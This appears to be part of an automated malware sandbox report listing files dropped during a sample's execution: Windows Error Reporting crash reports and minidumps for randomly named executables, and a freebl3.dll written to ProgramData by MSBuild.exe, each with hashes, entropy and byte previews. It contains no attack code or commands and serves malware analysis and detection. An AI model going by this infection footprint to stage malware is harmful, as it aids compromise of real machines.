C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_NdSXVNeoET.exe_75c9d237eb8ab43cf8887475a4937cb8b4eddaf_5ed69546_1b010ea4-4a28-404c-baab-b7bdfb15ad8e\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.6547754663646725
Encrypted:	false
SSDEEP:	96:dAFg5aU0+Usvy39Aqf5QXIDcQvc6QcEVcw3cE/n+HbHg/5hZAX/d5FMT2SlPkpXe:uiaUHUA0BU/gjhzuiFWZ24IO8U
MD5:	8C4AD2721C823A287ADF7A8BC2F24652
SHA1:	A14A8968220AC153E3347795BDBF77446AD1EFCF
SHA-256:	0168F1E7537F507F98A8F19AAD6660610CD622F84C968612AEF7C5C94FC5D27A
SHA-512:	8091E557FC9F4CFA7DE0A9E6CEF4D36A0415F533971EEC0396A0B5BA2E6446823F43F835BC5784D83B6A426D4FFA83FDFDB7DFD80765C211461E00E67301CF69
Malicious:	true
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.2.7.9.0.4.1.7.5.5.8.1.9.7.9.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.2.7.9.0.4.1.9.1.8.3.1.8.8.5.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.1.b.0.1.0.e.a.4.-.4.a.2.8.-.4.0.4.c.-.b.a.a.b.-.b.7.b.d.f.b.1.5.a.d.8.e.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.5.0.e.1.0.1.7.f.-.c.5.c.7.-.4.c.f.d.-.8.f.d.5.-.f.8.4.e.9.d.5.1.6.2.4.a.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.N.d.S.X.V.N.e.o.E.T...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.p.r.o.q.u.o.t.a...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.6.a.4.-.0.0.0.1.-.0.0.1.5.-.1.e.f.e.-.8.f.0.0.d.2.1.8.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.9.7.d.0.3.f.6.a.1.a.a.4.5.0.5.0.f.7.b.e.5.5.f.8.7.6.f.e.a.2.d.c.0.0.0.0.0.9.0.4.!.0.0.0.0.3.8.c.d.4.6.8.6.e.4.d.b.5.1.f.c.6.a.f.f.4.3.2.3.2.3.b.f.5.5.a.5.6.0.f.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_userIDHDGDHJ_a4f64afacf7a214abf56dc6ccc12fb37bf76a90_ac7cc043_1f7f4b2d-10d8-4a14-8286-0ee08e46afc6\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.657805835319469
Encrypted:	false
SSDEEP:	96:jb2FoDay0HICseyavEAaSfuQXIDcQvc6QcEVcw3cE//+HbHg/5hZAX/d5FMT2Slx:f22DayxCP0BU/YjhzuiFWZ24IO8+
MD5:	96A7D129B234F35241D36659766B5008
SHA1:	3E4C9A835B99487277BC614D7AD03354F61A2340
SHA-256:	FBB227A43CABD7E971EA315B39E906BDBFD74112087090C48F8FA9E660131347
SHA-512:	9D77939F2A237F8BB4961A535EFBA06676876FD01747D435B2EC23D60006014F30D0330C5D34AF03500710D5D2E2F61271F0BB8166E8166CCE02C9C3F1AFFC03
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.2.7.9.0.4.3.2.1.6.9.1.1.6.7.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.2.7.9.0.4.3.3.3.4.0.9.9.7.0.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.1.f.7.f.4.b.2.d.-.1.0.d.8.-.4.a.1.4.-.8.2.8.6.-.0.e.e.0.8.e.4.6.a.f.c.6.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.e.0.d.f.7.b.8.a.-.9.3.b.3.-.4.9.b.a.-.9.a.3.9.-.3.c.e.f.7.5.0.d.b.6.d.1.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.e.n.g.i.n.e.e.r.I.D.H.D.G.D.H.J.E.G...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.p.r.o.q.u.o.t.a...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.3.d.c.-.0.0.0.1.-.0.0.1.5.-.c.0.5.b.-.6.b.0.9.d.2.1.8.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.9.7.d.0.3.f.6.a.1.a.a.4.5.0.5.0.f.7.b.e.5.5.f.8.7.6.f.e.a.2.d.c.0.0.0.0.0.9.0.4.!.0.0.0.0.7.e.6.8.8.7.0.1.1.b.6.0.0.8.5.8.d.5.b.0.d.2.d.5.9.5.6.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER23DF.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Mon Oct 7 16:00:17 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	32512
Entropy (8bit):	1.8006629323575978
Encrypted:	false
SSDEEP:	96:588PRfQDac3IOZi77+v0xgnWpSYDXoaPw6rKVkjS68LWx4Wqx9avYfCo44PX8v/R:xp9OZO3/oUwQ984rZkpc0
MD5:	1533648F65DA8E65908DC32BBC201F95
SHA1:	942DB132FF5657C97452CC0998C53BD12E9A7F6B
SHA-256:	060C5794669CCD7BB7BCB94172890ECF07ABBF5E6C27F9197D9C6B304216B3C2
SHA-512:	5D7B38960231837527D835CF20FBFF10CAAA413DDF8F564AE3E0EB41E340AB6DCF6D1E24BF4C2DA7E6935F6A8913DFC112912505F7C6E4A5A4182AE65AB158B9
Malicious:	false
Preview:	MDMP..a..... ..........g........................d...........................T.......8...........T...............Pt......................................................................................................eJ..............GenuineIntel............T..............g.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER248C.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8324
Entropy (8bit):	3.695654911636469
Encrypted:	false
SSDEEP:	192:R6l7wVeJ2e6O6Y2DmSUCgmf9+3Apr789bJpsfEjm:R6lXJ36O6YbSUCgmf9+35JCfd
MD5:	EA99E132B6AEF4FAA705971655586D21
SHA1:	DB7E7ECCB9D0EA3837585460FF612FB10F4AE2D9
SHA-256:	0F5BFB808E5BEE6736542255A1B7ED4C8F5C4776A90F61BAB263BCA8D2E8616B
SHA-512:	3E5B44887165DED38E7018E8DC74641FCF8C0ADFF3CB308C29DA5212EDEA5860C3870A5CAFAE39822CC2BC1A77EAC51077C5384D8BD21D9C82E8C5F715565B75
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.5.7.9.6.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER24DB.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4678
Entropy (8bit):	4.501254044606874
Encrypted:	false
SSDEEP:	48:cvIwWl8zsDJg77aI9mZWpW8VYHYm8M4JV36dFEo+q8Wa0MaQ/sQyd:uIjfdI7ko7VbJVqMoJaNaYsQyd
MD5:	00B84FE968C5E716A1D24EED4235E55D
SHA1:	1496F1918C0E1DB3CB60EEE22DB8E03C4CD7E69A
SHA-256:	24BD9213E8A7E4F1656A03414DF51693E7AFC6CAAE2BBD38C900BE195047DCEF
SHA-512:	F3E75B050B8DCA93C7F8034CFC460DF037EC126F85214D7CB8033007CFECA82D54F50085F41CDF6789A875DFE39007B0C9D1FCB54563629590232BCB02E54168
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="533222" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER5CE0.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Mon Oct 7 16:00:32 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	34842
Entropy (8bit):	1.692259775295324
Encrypted:	false
SSDEEP:	96:5F81SuvAT6MHnIgD4lli77EE7LoMazvwpWSdtNg0frKVkjS68LWx4Wqx9avYfCoT:gRgtD4llOSiWYtNnxBQrqwDMgdcF
MD5:	00C64C9165A91CB1DEA46EFF1BB0229F
SHA1:	D607AC5D18CF755B177E458D0F181C7D3F789DFA
SHA-256:	67843ED0B2F7DE2DB4B4E30D13C83E6043C1806A3D101552D8FC936CAB1391D6
SHA-512:	53409F6449EAA0AA289EF84F58E7671D4197EFF000A36E7C60E601DBE10727263DC3AE0F90AAD74E782EAF9321D51B86C9C1BB3B43B745A6B6E183687CD3B9DB
Malicious:	false
Preview:	MDMP..a..... ..........g........................d...........................T.......8...........T...........(....\|......................................................................................................eJ..............GenuineIntel............T..............g.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER5D30.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	6350
Entropy (8bit):	3.721394578548719
Encrypted:	false
SSDEEP:	192:R6l7wVeJ7g66Kv/YCyBMYApr089bmOsfhPim:R6lXJ863YCY7kmNfN
MD5:	9DF9B20EF5EFCFBFB1CBE81B98DAC3AC
SHA1:	231E323DA3F25A422B881388D7D4E22F23061EBB
SHA-256:	D5CC3307D6AE26D84196E0FE63F338D36D83975CB6DB88591219AA70FCEEE33E
SHA-512:	0A21CF9471F78B46DCB0F62DE486D605E4CF9344670FAFBEAC4A444138FF51DD2C4B76AD1870417F07F7DE21A7BA0F2CC75564D3B5C19752A64772C29F27E10E
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.9.8.8.<./.P.i.d.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER5D7F.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4734
Entropy (8bit):	4.520474167974014
Encrypted:	false
SSDEEP:	48:cvIwWl8zsUJg77aI9mZWpW8VY7Ym8M4JCLFtd+q8yn0ia/eZd:uIjfSI7ko7VnJCXra/eZd
MD5:	A55053004798B78F7A24E2EF756C62C1
SHA1:	928923AC15A57465860CFAC5775AD2A3AFD77C8C
SHA-256:	D14823C85AE378609ACB0CFF276D39BEFE2EEA52AB19A3164633EDF80728DBBE
SHA-512:	0C6CCE1A43D037369E2506D3BA59F1A4CDD5DA7300F075B73617A0903BFD0D78A2660CCA0EAE47FBF4C4F50E6D9BE374F54916043BAE0B1268874A1A91ACE416
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="533223" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER6695.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Mon Oct 7 16:00:34 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	110428
Entropy (8bit):	2.0166907872146176
Encrypted:	false
SSDEEP:	384:AfyvbUWOYjkBwcGkVHdSpUJnbpzUpymreoyRPtM+4WoiKPs:nv1jkBwEVHK0+DqtM9vPPs
MD5:	DB57F504104E7CC3909115636C5CC376
SHA1:	2EB63C782ED646CE032D11BAC2D69CB845EC190B
SHA-256:	4886CA653F82BA3E9767A42095C93A1B91EBCE181AE079A778C6052AFF2FB925
SHA-512:	7A28832C2F1476B9D6F227B9FD31A497330D4CD48C524C330E05543BE0A61DF501B53BBCB097F6B50BCC11A12D52B5A115A5CBD2A181BFE467EF48221134A016
Malicious:	false
Preview:	MDMP..a..... ..........g....................................<....!...........D..........`.......8...........T...........X?...p...........!...........#..............................................................................eJ......@$......GenuineIntel............T..............g.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER679F.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	6302
Entropy (8bit):	3.719222231244972
Encrypted:	false
SSDEEP:	96:RSIU6o7wVetbmV6wYkJ1QQwIw5aM4UJ89bQwsfRolGm:R6l7wVeJmV6wYkJWQ8prJ89bQwsf6wm
MD5:	54A2D01ACFD688E157FDA6E585D0735C
SHA1:	0F1D1F234E0B1D0408D913B80D4A024CC3DB42A4
SHA-256:	B2DC9727660B8B225772C6347CAD648973C03C1744788203BE00291CDE057372
SHA-512:	B67C9EE4926FD9CDEDD9779F9CC288C03318A1724C3435F9D05C3E6E0BCD0AF618C049CE5BDECBFB54E398EAB4AA77AA385AB288237B59A6623469BF90E373AB
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.2.9.2.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER67C0.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4642
Entropy (8bit):	4.461398523826735
Encrypted:	false
SSDEEP:	48:cvIwWl8zsUJg77aI9mZWpW8VYIRYm8M4JLnFE+q8tltmLDwMgd:uIjfSI7ko7VRQJ+ImLLgd
MD5:	04A383DE91F3FF5E0C66DD7A2818CA20
SHA1:	572600462B0917300D2CDF0F44F1D0F3B818AA24
SHA-256:	D25325EBC8C1656954971A459014AB9B9EA671619ED86CA5B8FE1C4395A6FFD6
SHA-512:	10374EB410D321B0AA3D4DA407F95925E2480FCD49BCC40397C00D06B650F40425ACFAA6C26397849D8191317181F8A2A798CE9FD976F3FE7DA9A1A36A3253BB
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="533223" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER6E17.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Mon Oct 7 16:00:36 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	110934
Entropy (8bit):	2.0274803098129346
Encrypted:	false
SSDEEP:	384:eR58bUWOodfkB+XGkxH3SpUJnbpzUpylvlrw3bqeMGkrQgZrULnZwRi:M8vfkB+pxHA0+6lEMG1gCUi
MD5:	D3D2B0881C2C83A699A1C43CBC99F919
SHA1:	E0C1C06DF9F883AECD76266F8266FA559F370FFD
SHA-256:	E9046665054B84D41D5533EE57C18B1A26099C8E23B9E693708B8560A52FABC1
SHA-512:	8D3B4A27EA172E907050A1058BE26F7050B04EBFE37A122544C67D54D57C11CD9FBC68E017BDC7A179EAD1B4B3BAFB3FBA6CCE6C1AF53D115AC44AD8E5D0DE2D
Malicious:	false
Preview:	MDMP..a..... ..........g....................................<....!...........D..........`.......8...........T............?..^q...........!...........#..............................................................................eJ......@$......GenuineIntel............T..............g.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER6F21.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	6352
Entropy (8bit):	3.7067335481438386
Encrypted:	false
SSDEEP:	96:RSIU6o7wVetbmQ6TyYjJPf6/Iw5aMQUT89bCwsfubWm:R6l7wVeJmQ6TyYjJPSpDT89bCwsfaWm
MD5:	87AB19770D34829E8762300FD409463F
SHA1:	60445AB2438561BC461903FED2DD43295A927C53
SHA-256:	59C263C57C10C545E7952B1BCD7A321FA71FDB034ACF54CC4670E02E8C3F4A9C
SHA-512:	89951C98DD823403A03655F1AE6DEB9E33EBAD2C9524F1B0D02327D886B72F7B6EB32DB786B7C818C5BFFB9A104B9D8BFDF318609DEF4EB9EB4658BC6424CE81
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.2.9.2.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER6F61.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4743
Entropy (8bit):	4.4456632623458185
Encrypted:	false
SSDEEP:	48:cvIwWl8zsUJg77aI9mZWpW8VYCYm8M4JLhFa+q8veqtmLDwMgd:uIjfSI7ko7VOJaKNmLLgd
MD5:	050E41DFC89A750159AEE4B10D166A17
SHA1:	CB4C91AC2178B71FD305ED03B9CD5591778A46E7
SHA-256:	AFC95E30EF6714D2EE63A78FD5F99CAA1AC46ABDEA9C9ECB78D4E2682F2FAA6A
SHA-512:	D9AAE8860E2A1219D8E964FEDBB8093CFC1B75DCAE05D2CDC9D598CC8961429C126925E51CB2AD26E56E46FD6779AB9F47CD7DCD93B9E851CC9A491D16433AAB
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="533223" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
